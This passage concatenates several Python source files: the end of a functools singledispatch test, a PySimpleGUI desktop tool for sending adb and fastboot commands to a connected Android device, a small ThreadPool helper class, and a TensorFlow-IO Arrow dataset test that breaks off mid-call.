because it's explicitly in the MRO class U: def __len__(self): return 0 u = U() self.assertEqual(h(u), "sized") # implicit Sized subclass inferred # from the existence of __len__() c.Container.register(U) # There is no preference for registered versus inferred ABCs. with self.assertRaises(RuntimeError) as re_three: h(u) self.assertIn( str(re_three.exception), (("Ambiguous dispatch: <class 'collections.abc.Container'> " "or <class 'collections.abc.Sized'>"), ("Ambiguous dispatch: <class 'collections.abc.Sized'> " "or <class 'collections.abc.Container'>")), ) class V(c.Sized, S): def __len__(self): return 0 @functools.singledispatch def j(arg): return "base" @j.register(S) def _(arg): return "s" @j.register(c.Container) def _(arg): return "container" v = V() self.assertEqual(j(v), "s") c.Container.register(V) self.assertEqual(j(v), "container") # because it ends up right after # Sized in the MRO def test_cache_invalidation(self): from collections import UserDict class TracingDict(UserDict): def __init__(self, *args, **kwargs): super(TracingDict, self).__init__(*args, **kwargs) self.set_ops = [] self.get_ops = [] def __getitem__(self, key): result = self.data[key] self.get_ops.append(key) return result def __setitem__(self, key, value): self.set_ops.append(key) self.data[key] = value def clear(self): self.data.clear() _orig_wkd = functools.WeakKeyDictionary td = TracingDict() functools.WeakKeyDictionary = lambda: td c = collections @functools.singledispatch def g(arg): return "base" d = {} l = [] self.assertEqual(len(td), 0) self.assertEqual(g(d), "base") self.assertEqual(len(td), 1) self.assertEqual(td.get_ops, []) self.assertEqual(td.set_ops, [dict]) self.assertEqual(td.data[dict], g.registry[object]) self.assertEqual(g(l), "base") self.assertEqual(len(td), 2) self.assertEqual(td.get_ops, []) self.assertEqual(td.set_ops, [dict, list]) self.assertEqual(td.data[dict], g.registry[object]) self.assertEqual(td.data[list], g.registry[object]) self.assertEqual(td.data[dict], td.data[list]) self.assertEqual(g(l), "base") self.assertEqual(g(d), "base") self.assertEqual(td.get_ops, [list, dict]) self.assertEqual(td.set_ops, [dict, list]) g.register(list, lambda arg: "list") self.assertEqual(td.get_ops, [list, dict]) self.assertEqual(len(td), 0) self.assertEqual(g(d), "base") self.assertEqual(len(td), 1) self.assertEqual(td.get_ops, [list, dict]) self.assertEqual(td.set_ops, [dict, list, dict]) self.assertEqual(td.data[dict], functools._find_impl(dict, g.registry)) self.assertEqual(g(l), "list") self.assertEqual(len(td), 2) self.assertEqual(td.get_ops, [list, dict]) self.assertEqual(td.set_ops, [dict, list, dict, list]) self.assertEqual(td.data[list], functools._find_impl(list, g.registry)) class X: pass c.MutableMapping.register(X) # Will not invalidate the cache, # not using ABCs yet. self.assertEqual(g(d), "base") self.assertEqual(g(l), "list") self.assertEqual(td.get_ops, [list, dict, dict, list]) self.assertEqual(td.set_ops, [dict, list, dict, list]) g.register(c.Sized, lambda arg: "sized") self.assertEqual(len(td), 0) self.assertEqual(g(d), "sized") self.assertEqual(len(td), 1) self.assertEqual(td.get_ops, [list, dict, dict, list]) self.assertEqual(td.set_ops, [dict, list, dict, list, dict]) self.assertEqual(g(l), "list") self.assertEqual(len(td), 2) self.assertEqual(td.get_ops, [list, dict, dict, list]) self.assertEqual(td.set_ops, [dict, list, dict, list, dict, list]) self.assertEqual(g(l), "list") self.assertEqual(g(d), "sized") self.assertEqual(td.get_ops, [list, dict, dict, list, list, dict]) self.assertEqual(td.set_ops, [dict, list, dict, list, dict, list]) g.dispatch(list) g.dispatch(dict) self.assertEqual(td.get_ops, [list, dict, dict, list, list, dict, list, dict]) self.assertEqual(td.set_ops, [dict, list, dict, list, dict, list]) c.MutableSet.register(X) # Will invalidate the cache. self.assertEqual(len(td), 2) # Stale cache. self.assertEqual(g(l), "list") self.assertEqual(len(td), 1) g.register(c.MutableMapping, lambda arg: "mutablemapping") self.assertEqual(len(td), 0) self.assertEqual(g(d), "mutablemapping") self.assertEqual(len(td), 1) self.assertEqual(g(l), "list") self.assertEqual(len(td), 2) g.register(dict, lambda arg: "dict") self.assertEqual(g(d), "dict") self.assertEqual(g(l), "list") g._clear_cache() self.assertEqual(len(td), 0) functools.WeakKeyDictionary = _orig_wkd if __name__ == '__main__': unittest.main()
android_ctrl_bar.py
# # Android control bar # import configparser import re import subprocess import threading from datetime import datetime import PySimpleGUI as sg from version import __version__ EXEC_ADB_DEFAULT = str('adb.exe') mExecAdbPath = EXEC_ADB_DEFAULT mExecAdbPathVerified = bool(False) EXEC_FASTBOOT_DEFAULT = str('fastboot.exe') mExecFastbootPath = EXEC_FASTBOOT_DEFAULT mExecFastbootPathVerified = bool(False) # Functions def cmdExec(timeout_sec: int, cmd: str) -> bytes: rc = True startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW try: stdoutdata = subprocess.check_output(cmd, stderr=subprocess.STDOUT, timeout=timeout_sec, startupinfo=startupinfo) except subprocess.TimeoutExpired: #print("Command TIMEOUT !!!") window['statusText'].update(window['statusText'].get() + ' Timeout !') rc = False bytesRcError = bytes('command timeout', 'latin1') except subprocess.CalledProcessError as e: #print(e.output) window['statusText'].update(window['statusText'].get() + ' Error !') rc = False bytesRcError = e.output if rc == True: window['statusText'].update(window['statusText'].get() + ' Done') return stdoutdata else: return bytesRcError def adbCmd(timeout_sec: int, command: str, blocking=False, donotprintcmd=False) -> bool: global mExecAdbPath, mExecAdbPathVerified rc = True if timeout_sec < 1: print("Arg timeout_sec must >= 1") return False if mExecAdbPathVerified == False: window['statusText'].update('ADB path not verified') if verifyAdbPath(mExecAdbPath) == True: mExecAdbPathVerified = True else: return False if donotprintcmd == True: window['statusText'].update('Processing adb command ...') else: window['statusText'].update('Processing command: adb ' + command) if blocking == True: cmdExec(timeout_sec, mExecAdbPath + " " + command) else: tCmd = threading.Thread(target=cmdExec, args=(timeout_sec, mExecAdbPath + " " + command)) tCmd.start() return rc def fastbootCmd(timeout_sec: int, command: str, blocking=False, donotprintcmd=False) -> bool: global mExecFastbootPath, mExecFastbootPathVerified rc = True if timeout_sec < 1: print("Arg timeout_sec must >= 1") return False if mExecFastbootPathVerified == False: window['statusText'].update('Fastboot path not verified') if verifyFastbootPath(mExecFastbootPath) == True: mExecFastbootPathVerified = True else: return False if donotprintcmd == True: window['statusText'].update('Processing fastboot command ... ') else: window['statusText'].update('Processing command: fastboot ' + command) if blocking == True: cmdExec(timeout_sec, mExecFastbootPath + " " + command) else: tCmd = threading.Thread(target=cmdExec, args=(timeout_sec, mExecFastbootPath + " " + command)) tCmd.start() return rc def installApk(source: str) -> bool: if source[-4:].casefold() == ".apk": rc = adbCmd(20, "install -r -g " + source) else: window['statusText'].update('Invalid APK source path') rc = False return rc def verifyAdbPath(path: str) -> bool: rc = False window['statusText'].update('Processing command: adb --version') adbVersion = cmdExec(10, path + " --version").decode('latin1') if adbVersion[:20] == "Android Debug Bridge": rc = True window['statusCheckExec'].update(adbVersion + '\n', append=True) return rc def verifyFastbootPath(path: str) -> bool: rc = False window['statusText'].update('Processing command: fastboot --version') fastbootVersion = cmdExec(10, path + " --version").decode('latin1') if fastbootVersion[:8] == "fastboot": rc = True window['statusCheckExec'].update(fastbootVersion + '\n', append=True) return rc def checkExecutable() -> bool: rc = True global config, mExecAdbPath, mExecAdbPathVerified, mExecFastbootPath, mExecFastbootPathVerified window['statusCheckExec'].update('') tmpAdbPath = window['inputAdbPath'].get() if tmpAdbPath[-7:].casefold() == "adb.exe": window['statusCheckExec'].update('Use user input ADB Path\n', append=True) if verifyAdbPath(tmpAdbPath) == True: mExecAdbPath = tmpAdbPath mExecAdbPathVerified = True if 'host_settings' not in config: config['host_settings'] = {} config['host_settings']['ADB'] = mExecAdbPath with open('local_config.ini', 'w') as configfile: config.write(configfile) else: window['inputAdbPath'].update('') window['statusCheckExec'].update('Use system ADB Path\n', append=True) mExecAdbPath = EXEC_ADB_DEFAULT if 'host_settings' in config: if 'ADB' in config['host_settings']: config['host_settings']['ADB'] = EXEC_ADB_DEFAULT with open('local_config.ini', 'w') as configfile: config.write(configfile) if verifyAdbPath(EXEC_ADB_DEFAULT) == True: mExecAdbPathVerified = True tmpFastbootPath = window['inputFastbootPath'].get() if tmpFastbootPath[-12:].casefold() == "fastboot.exe": window['statusCheckExec'].update('Use user input Fastboot Path\n', append=True) if verifyFastbootPath(tmpFastbootPath) == True: mExecFastbootPath = tmpFastbootPath mExecFastbootPathVerified = True if 'host_settings' not in config: config['host_settings'] = {} config['host_settings']['Fastboot'] = mExecFastbootPath with open('local_config.ini', 'w') as configfile: config.write(configfile) else: window['inputFastbootPath'].update('') window['statusCheckExec'].update('Use system Fastboot Path\n', append=True) mExecFastbootPath = EXEC_FASTBOOT_DEFAULT if 'host_settings' in config: if 'Fastboot' in config['host_settings']: config['host_settings']['Fastboot'] = EXEC_FASTBOOT_DEFAULT with open('local_config.ini', 'w') as configfile: config.write(configfile) if verifyFastbootPath(mExecFastbootPath) == True: mExecFastbootPathVerified = True return rc def loadConfig(): global config, mExecAdbPath, mExecAdbPathVerified, mExecFastbootPath, mExecFastbootPathVerified config.read('local_config.ini') if 'host_settings' in config: if 'always_on_top' in config['host_settings']: if config['host_settings']['always_on_top'] == 'true': window.keep_on_top_set() window['chkboxAlwaysOnTop'].update(True) else: window.keep_on_top_clear() window['chkboxAlwaysOnTop'].update(False) if 'ADB' in config['host_settings']: tmpAdbPath = config['host_settings']['ADB'] if tmpAdbPath[-7:].casefold() == "adb.exe": window['statusCheckExec'].update('Use user input ADB Path\n', append=True) if verifyAdbPath(tmpAdbPath) == True: mExecAdbPath = tmpAdbPath mExecAdbPathVerified = True window['inputAdbPath'].update(mExecAdbPath) if 'Fastboot' in config['host_settings']: tmpFastbootPath = config['host_settings']['Fastboot'] if tmpFastbootPath[-12:].casefold() == "fastboot.exe": window['statusCheckExec'].update('Use user input Fastboot Path\n', append=True) if verifyFastbootPath(tmpFastbootPath) == True: mExecFastbootPath = tmpFastbootPath mExecFastbootPathVerified = True window['inputFastbootPath'].update(mExecFastbootPath) def loadCustButton(): if 'custom_button' in config: for i in [1, 2, 3, 4]: for j in [1, 2, 3, 4]: currentBtnName = 'btnCust_'+ str(i) + '_' + str(j) if currentBtnName in config['custom_button'] and config['custom_button'][currentBtnName] == 'true': window[currentBtnName].update(text=(config['custom_button'][currentBtnName + '_text'])) def execCustButton(btnName: str): if 'custom_button' in config: if btnName in config['custom_button'] and config['custom_button'][btnName] == 'true': if btnName+'_type' in config['custom_button']: if config['custom_button'][btnName+'_type'] == 'adb': if btnName+'_cmd' in config['custom_button']: window['statusCustBtn'].update('') window['statusText'].update('Processing command ...') outputExec = cmdExec(20, "adb " + config['custom_button'][btnName+'_cmd']).decode('latin1') window['statusCustBtn'].update(outputExec + '\n', append=True) else: window['statusText'].update('No command defined for this button') elif config['custom_button'][btnName+'_type'] == 'fastboot': if btnName+'_cmd' in config['custom_button']: window['statusCustBtn'].update('') window['statusText'].update('Processing command ...') outputExec = cmdExec(20, "fastboot " + config['custom_button'][btnName+'_cmd']).decode('latin1') window['statusCustBtn'].update(outputExec + '\n', append=True) else: window['statusText'].update('No command defined for this button') else: window['statusText'].update('Invalid command type') else: window['statusText'].update('No type defined for this button') else: window['statusText'].update('Button not enabled') else: window['statusText'].update('No custom button setting') def getScreenShot() -> bool: now = datetime.now() screencap_file = "screenshot_" + now.strftime("%Y%m%d_%H%M%S") + ".png" fp = open(screencap_file, "a+") try: subprocess.check_call('adb exec-out screencap -p', stdout=fp, timeout=20) except subprocess.TimeoutExpired: window['statusText'].update('Screenshot Timeout !') fp.close() return True # Define the window's contents layout = [ [sg.Text("ADB commands:")], [sg.Button(key='btnAdbKeycode_SLEEP', button_text='Suspend'), sg.Button(key='btnAdbKeycode_WAKEUP', button_text='Resume'), sg.Button(key='btnADB_REBOOT', button_text='Reboot'), sg.Button(key='btnADB_REBOOT_BL', button_text='Reboot Bootloader')], [sg.Button(key='btnADB_ROOT', button_text='Root'), sg.Button(key='btnADB_UNROOT', button_text='Unroot'), sg.Button(key='btnADB_REMOUNT', button_text='Remount'), sg.Button(key='btnADB_DISABLE_VERITY', button_text='Disable-verity'), sg.Button(key='btnScreenShot', button_text='Screenshot')], [sg.HorizontalSeparator()], [sg.Text("Fastboot commands:")], [sg.Button(key='btnFB_REBOOT', button_text='Reboot'), sg.Button(key='btnFB_REBOOT_BL', button_text='Reboot Bootloader')], [sg.HorizontalSeparator()], [sg.Text("Key codes:")], [sg.Button(size=(5,1), key='btnAdbKeycode_BACK', button_text='◀'), sg.Button(size=(5,1), key='btnAdbKeycode_HOME', button_text='●'), sg.Button(size=(5,1), key='btnAdbKeycode_APP_SWITCH', button_text='◼'), sg.Button(size=(5,1), key='btnAdbKeycode_MENU', button_text='≡')], [sg.Button(size=(5,1), key='btnAdbKeycode_PAGE_UP', button_text='PgUp'), sg.Button(size=(5,1), key='btnAdbKeycode_DPAD_UP', button_text='↑'), sg.Button(size=(5,1), key='btnAdbKeycode_PAGE_DOWN', button_text='PgDn'), sg.Button(size=(5,1), key='btnAdbKeycode_VOLUME_UP', button_text='♪+'), sg.Button(size=(5,1), key='btnAdbKeycode_VOLUME_MUTE', button_text='♪×')], [sg.Button(size=(5,1), key='btnAdbKeycode_DPAD_LEFT', button_text='←'), sg.Button(size=(5,1), key='btnAdbKeycode_DPAD_DOWN', button_text='↓'), sg.Button(size=(5,1), key='btnAdbKeycode_DPAD_RIGHT', button_text='→'), sg.Button(size=(5,1), key='btnAdbKeycode_VOLUME_DOWN', button_text='♪-')], [sg.HorizontalSeparator()], [sg.Button(key='btnADB_DEVICES', button_text='Check ADB'), sg.Button(key='btnFB_DEVICES', button_text='Check Fastboot')], [sg.Checkbox(key='chkboxDevice', text='None', disabled=True)] ] layoutCustBtn = [ [sg.Button(size=(12,2), key='btnCust_1_1', button_text='Button 1-1'), sg.Button(size=(12,2), key='btnCust_1_2', button_text='Button 1-2'), sg.Button(size=(12,2), key='btnCust_1_3', button_text='Button 1-3'), sg.Button(size=(12,2), key='btnCust_1_4', button_text='Button 1-4')], [sg.Button(size=(12,2), key='btnCust_2_1', button_text='Button 2-1'), sg.Button(size=(12,2), key='btnCust_2_2', button_text='Button 2-2'), sg.Button(size=(12,2), key='btnCust_2_3', button_text='Button 2-3'), sg.Button(size=(12,2), key='btnCust_2_4', button_text='Button 2-4')], [sg.Button(size=(12,2), key='btnCust_3_1', button_text='Button 3-1'), sg.Button(size=(12,2), key='btnCust_3_2', button_text='Button 3-2'), sg.Button(size=(12,2), key='btnCust_3_3', button_text='Button 3-3'), sg.Button(size=(12,2), key='btnCust_3_4', button_text='Button 3-4')], [sg.Button(size=(12,2), key='btnCust_4_1', button_text='Button 4-1'), sg.Button(size=(12,2), key='btnCust_4_2', button_text='Button 4-2'), sg.Button(size=(12,2), key='btnCust_4_3', button_text='Button 4-3'), sg.Button(size=(12,2), key='btnCust_4_4', button_text='Button 4-4')], [sg.Multiline(key='statusCustBtn', size=(64, 9))], ] layoutTabFilePush = [ [sg.Text("Source:", size=(8,1)), sg.Input(key='inputPushFileSource'), sg.FileBrowse()], [sg.Text("Target:", size=(8,1)), sg.Input(key='inputPushTarget', default_text='/sdcard/')], [sg.Button(size=(10,1), key='btnPushFile', button_text='Push File')], [sg.HorizontalSeparator()], [sg.Text("APK:", size=(8,1)), sg.Input(key='inputApkSource'), sg.FileBrowse()], [sg.Button(size=(10,1), key='btnInstallApk', button_text='Install')] ] layoutConfig = [ [sg.Checkbox(key='chkboxAlwaysOnTop', text='Always on Top', default=True, enable_events=True)], [sg.HorizontalSeparator()], [sg.Text("Executable path:")], [sg.Text("ADB:", size=(8,1)), sg.Input(key='inputAdbPath'), sg.FileBrowse()], [sg.Text("Fastboot:", size=(8,1)), sg.Input(key='inputFastbootPath'), sg.FileBrowse()], [sg.Button(key='btnExecSave', button_text='Check and Save')], [sg.Multiline(key='statusCheckExec', size=(64, 10))], [sg.Text("Version: " + __version__)] ] tabgroupMain = [ [sg.TabGroup([[sg.Tab('Main', layout), sg.Tab('Custom Button', layoutCustBtn), sg.Tab('Push File/APK', layoutTabFilePush), sg.Tab('Configuration', layoutConfig)]])], [sg.Text("Status:"), sg.Text(key='statusText')] ] # Create the window window = sg.Window('Android Control Bar', tabgroupMain, keep_on_top = True, finalize=True) # Create configuration handler config = configparser.ConfigParser() loadConfig() # load custom button text to layout loadCustButton() # Display and interact with the Window using an Event Loop while True: event, values = window.read() # See if user wants to quit or window was closed if event == sg.WINDOW_CLOSED: break # # Tab: Main # ## Key codes elif re.match('btnAdbKeycode_([ -~]+)', event): dontcare, keycode = event.split('_', maxsplit=1) adbCmd(5, "shell input keyevent " + keycode) ## ADB commands elif event == 'btnADB_ROOT': adbCmd(5, "root") elif event == 'btnADB_UNROOT': adbCmd(5, "unroot") elif event == 'btnADB_REMOUNT': adbCmd(5, "remount") elif event == 'btnADB_REBOOT': adbCmd(10, "reboot") elif event == 'btnADB_REBOOT_BL': adbCmd(10, "reboot bootloader") elif event == 'btnADB_DISABLE_VERITY': adbCmd(5, "disable-verity") elif event == 'btnScreenShot': getScreenShot() # Fastboot commands elif event == 'btnFB_REBOOT': fastbootCmd(10, "reboot") elif event == 'btnFB_REBOOT_BL': fastbootCmd(10, "reboot bootloader") ## Check devices elif event == 'btnADB_DEVICES': window['chkboxDevice'].update(text='None', disabled=True) cmd = "adb devices" stdoutdata = subprocess.getoutput(cmd) for line in stdoutdata.splitlines(): if line[0] == '*': pass elif line == 'List of devices attached': pass else: strSerial, strDevStatus = line.split(maxsplit=1) if strDevStatus == 'device': window['chkboxDevice'].update(text=strSerial, disabled=False) elif event == 'btnFB_DEVICES': window['chkboxDevice'].update(text='None', disabled=True) cmd = "fastboot devices" stdoutdata = subprocess.getoutput(cmd) for line in stdoutdata.splitlines(): if line[0] == '*': pass elif line == 'List of devices attached': pass else: strSerial, strDevStatus = line.split(maxsplit=1) if strDevStatus == 'fastboot': window['chkboxDevice'].update(text=strSerial, disabled=False) # # Tab: Push file to device # elif event == 'btnPushFile': adbCmd(10, "push \"" + window['inputPushFileSource'].get() + "\" \"" + window['inputPushTarget'].get() + "\"") elif event == 'btnInstallApk': installApk(window['inputApkSource'].get()) # # Tab: Settings # elif event == 'chkboxAlwaysOnTop': if 'host_settings' not in config: config['host_settings'] = {} if window['chkboxAlwaysOnTop'].get() == True: window.keep_on_top_set() config['host_settings']['always_on_top'] = 'true' else: window.keep_on_top_clear() config['host_settings']['always_on_top'] = 'false' with open('local_config.ini', 'w') as configfile: config.write(configfile) elif event == 'btnExecSave': checkExecutable() # # Custom Buttons # elif re.match('btnCust_[1-4]_[1-4]', event): execCustButton(event) else: window['statusText'].update('Unhandled event: ' + event) # Finish up by removing from the screen window.close()
ThreadPool.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Run multiple threads at once # # Copyright (c) Honda Research Institute Europe GmbH # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS # IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # import threading from ToolBOSCore.Util import Any class ThreadPool( object ): """ Class for creating and handling a group of threads. It is meant to simplify usage of multiple threads at once and reduce off-topic code. Py3k Python3 offers the same functionality with the concurrent.futures package and its subclass ThreadPoolExecutor. """ def __init__( self ): """ Creates a new ThreadPool instance. """ self._threads = set() def add( self, task, *args, **kwargs ): """ Add new tasks as threads to the ThreadPool. """ Any.requireIsCallable( task ) _thread = threading.Thread( target=task, args=args, kwargs=kwargs ) self._threads.add( _thread ) def run( self ): """ Starts all threads of the ThreadPool and joins them afterwards, meaning this function will run until all threads are finished. """ for thread in self._threads: thread.start() for thread in self._threads: thread.join() # EOF
test_arrow_eager.py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. # ============================================================================== """Tests for ArrowDataset.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from collections import namedtuple import io import os import sys import socket import tempfile import threading import pytest import numpy.testing as npt import tensorflow as tf if not (hasattr(tf, "version") and tf.version.VERSION.startswith("2.")): tf.compat.v1.enable_eager_execution() from tensorflow import dtypes # pylint: disable=wrong-import-position from tensorflow import errors # pylint: disable=wrong-import-position from tensorflow import test # pylint: disable=wrong-import-position import tensorflow_io.arrow as arrow_io # pylint: disable=wrong-import-position from tensorflow_io import IOTensor # pylint: disable=wrong-import-position if sys.version_info == (3, 4): pytest.skip( "pyarrow is not supported with python 3.4", allow_module_level=True) import pyarrow as pa # pylint: disable=wrong-import-order,wrong-import-position from pyarrow.feather import write_feather # pylint: disable=wrong-import-order,wrong-import-position TruthData = namedtuple("TruthData", ["data", "output_types", "output_shapes"]) class ArrowTestBase(test.TestCase): """ArrowTestBase""" @classmethod def setUpClass(cls): # pylint: disable=invalid-name """setUpClass""" cls.scalar_data = [ [True, False, True, True], [1, 2, -3, 4], [1, 2, -3, 4], [1, 2, -3, 4], [1, 2, -3, 4], [1, 2, 3, 4], [1, 2, 3, 4], [1, 2, 3, 4], [1, 2, 3, 4], [1.1, 2.2, 3.3, 4.4], [1.1, 2.2, 3.3, 4.4], ] cls.scalar_dtypes = ( dtypes.bool, dtypes.int8, dtypes.int16, dtypes.int32, dtypes.int64, dtypes.uint8, dtypes.uint16, dtypes.uint32, dtypes.uint64, dtypes.float32, dtypes.float64 ) cls.scalar_shapes = tuple( [tf.TensorShape([]) for _ in cls.scalar_dtypes]) cls.list_fixed_data = [ [[1, 1], [2, 2], [3, 3], [4, 4]], [[1, 1], [2, 2], [3, 3], [4, 4]], [[1.1, 1.1], [2.2, 2.2], [3.3, 3.3], [4.4, 4.4]], [[1.1, 1.1], [2.2, 2.2], [3.3, 3.3], [4.4, 4.4]], ] cls.list_fixed_dtypes = ( dtypes.int32, dtypes.int64, dtypes.float32, dtypes.float64 ) cls.list_fixed_shapes = tuple( [tf.TensorShape([None]) for _ in cls.list_fixed_dtypes]) cls.list_var_data = [ [[1], [2, 2], [3, 3, 3], [4, 4, 4]], [[1.1], [2.2, 2.2], [3.3, 3.3, 3.3], [4.4, 4.4, 4.4]], ] cls.list_var_dtypes = ( dtypes.int32, dtypes.float32 ) cls.list_var_shapes = ( tf.TensorShape([None]), tf.TensorShape([None]) ) cls.list_data = cls.list_fixed_data + cls.list_var_data cls.list_dtypes = cls.list_fixed_dtypes + cls.list_var_dtypes cls.list_shapes = cls.list_fixed_shapes + cls.list_var_shapes def get_arrow_type(self, dt, is_list): """get_arrow_type""" if dt == dtypes.bool: arrow_type = pa.bool_() elif dt == dtypes.int8: arrow_type = pa.int8() elif dt == dtypes.int16: arrow_type = pa.int16() elif dt == dtypes.int32: arrow_type = pa.int32() elif dt == dtypes.int64: arrow_type = pa.int64() elif dt == dtypes.uint8: arrow_type = pa.uint8() elif dt == dtypes.uint16: arrow_type = pa.uint16() elif dt == dtypes.uint32: arrow_type = pa.uint32() elif dt == dtypes.uint64: arrow_type = pa.uint64() elif dt == dtypes.float16: arrow_type = pa.float16() elif dt == dtypes.float32: arrow_type = pa.float32() elif dt == dtypes.float64: arrow_type = pa.float64() else: raise TypeError("Unsupported dtype for Arrow" + str(dt)) if is_list: arrow_type = pa.list_(arrow_type) return arrow_type def make_record_batch(self, truth_data): """Make an Arrow RecordBatch for given test data""" arrays = [pa.array(truth_data.data[col], type=self.get_arrow_type( truth_data.output_types[col], isinstance(truth_data.data[col][0], list))) for col in range(len(truth_data.output_types))] names = ["%s_[%s]" % (i, a.type) for i, a in enumerate(arrays)] return pa.RecordBatch.from_arrays(arrays, names) class ArrowIOTensorTest(ArrowTestBase): """ArrowIOTensorTest""" @classmethod def setUpClass(cls): # pylint: disable=invalid-name """setUpClass""" super(ArrowIOTensorTest, cls).setUpClass() cls.scalar_shapes = tuple( [tf.TensorShape([len(c)]) for c in cls.scalar_data]) cls.list_fixed_shapes = tuple( [tf.TensorShape([len(c), len(c[0])]) for c in cls.list_fixed_data]) def make_table(self, truth_data): """make_table""" batch = self.make_record_batch(truth_data) return pa.Table.from_batches([batch]) def run_test_case(self, iot, truth_data, columns): """run_test_case""" self.assertEqual(iot.columns, columns) for i, column in enumerate(columns): iot_col = iot(column) self.assertEqual(iot_col.dtype, truth_data.output_types[i]) self.assertEqual(iot_col.shape, truth_data.output_shapes[i]) npt.assert_almost_equal(iot_col.to_tensor().numpy(), truth_data.data[i]) def test_arrow_io_tensor_scalar(self): """test_arrow_io_tensor_scalar""" truth_data = TruthData( self.scalar_data, self.scalar_dtypes, self.scalar_shapes) table = self.make_table(truth_data) iot = IOTensor.from_arrow(table) self.run_test_case(iot, truth_data, table.column_names) def test_arrow_io_tensor_lists(self): """test_arrow_io_tensor_lists""" truth_data = TruthData( self.list_fixed_data, self.list_fixed_dtypes, self.list_fixed_shapes) table = self.make_table(truth_data) iot = IOTensor.from_arrow(table) self.run_test_case(iot, truth_data, table.column_names) def test_arrow_io_tensor_mixed(self): """test_arrow_io_tensor_mixed""" truth_data = TruthData( self.scalar_data + self.list_fixed_data, self.scalar_dtypes + self.list_fixed_dtypes, self.scalar_shapes + self.list_fixed_shapes) table = self.make_table(truth_data) iot = IOTensor.from_arrow(table) self.run_test_case(iot, truth_data, table.column_names) def test_arrow_io_tensor_chunked(self): """test_arrow_io_tensor_chunked""" num_chunks = 2 chunk_data = TruthData( self.scalar_data + self.list_fixed_data, self.scalar_dtypes + self.list_fixed_dtypes, self.scalar_shapes + self.list_fixed_shapes) # Make a table with double the data for 2 chunks table = self.make_table(chunk_data) table = pa.concat_tables([table] * num_chunks) # Double the batch size of the truth data output_shapes = self.scalar_shapes + self.list_fixed_shapes output_shapes = [ tf.TensorShape([d + d if i == 0 else d for i, d in enumerate(shape)]) for shape in output_shapes] truth_data = TruthData( [d * num_chunks for d in chunk_data.data], self.scalar_dtypes + self.list_fixed_dtypes, output_shapes) self.assertGreater(table[0].num_chunks, 1) iot = IOTensor.from_arrow(table) self.run_test_case(iot, truth_data, table.column_names) class ArrowDatasetTest(ArrowTestBase): """ArrowDatasetTest""" def run_test_case(self, dataset, truth_data, batch_size=None): """run_test_case""" def is_float(dtype): """Check if dtype is a floating-point""" return dtype in [dtypes.float16, dtypes.float32, dtypes.float64] def evaluate_result(value): """Check the results match truth data""" for i, col in enumerate(dataset.columns): if truth_data.output_shapes[col].ndims == 0: if is_float(truth_data.output_types[col]): self.assertAlmostEqual(value[i], truth_data.data[col][row], 4) else: self.assertEqual(value[i], truth_data.data[col][row]) elif truth_data.output_shapes[col].ndims == 1: if is_float(truth_data.output_types[col]): for j, v in enumerate(value[i]): self.assertAlmostEqual(v, truth_data.data[col][row][j], 4) else: self.assertListEqual(value[i].tolist(), truth_data.data[col][row]) # Row counter for each single result or batch of multiple rows row = 0 # Iterate over the dataset for results in dataset: # For batches, iterate over each row in batch or remainder at end for result_idx in range(batch_size or 1): # Get a single row value if batch_size is None: value = [r.numpy() for r in results] # Get a batch of values and check 1 row at a time else: if result_idx == 0: value_batch = [r.numpy() for r in results] # Check for a partial result if result_idx == value_batch[0].shape[0]: break # Get a single row out of the batch value = [v[result_idx] for v in value_batch] # Check the result then increment the row counter evaluate_result(value) row += 1 # Check that all data was returned by Dataset self.assertEqual(row, len(truth_data.data[0])) def test_arrow_dataset(self): """test_arrow_dataset""" truth_data = TruthData( self.scalar_data + self.list_data, self.scalar_dtypes + self.list_dtypes, self.scalar_shapes + self.list_shapes) batch = self.make_record_batch(truth_data) # test all columns selected dataset = arrow_io.ArrowDataset.from_record_batches( batch, truth_data.output_types, truth_data.output_shapes) self.run_test_case(dataset, truth_data) # test column selection columns = (1, 3, len(truth_data.output_types) - 1) dataset = arrow_io.ArrowDataset.from_record_batches( batch, tuple([truth_data.output_types[c] for c in columns]), tuple([truth_data.output_shapes[c] for c in columns]), columns=columns) self.run_test_case(dataset, truth_data) # test construction from pd.DataFrame df = batch.to_pandas() dataset = arrow_io.ArrowDataset.from_pandas( df, preserve_index=False) self.run_test_case(dataset, truth_data) def test_from_pandas_preserve_index(self): """test_from_pandas_preserve_index""" data_v = [ [1.0, 2.0, 3.0], [0.2, 0.4, 0.8], ] truth_data = TruthData( data_v, (dtypes.float32, dtypes.float32), (tf.TensorShape([]), tf.TensorShape([]))) batch = self.make_record_batch(truth_data) df = batch.to_pandas() dataset = arrow_io.ArrowDataset.from_pandas( df, 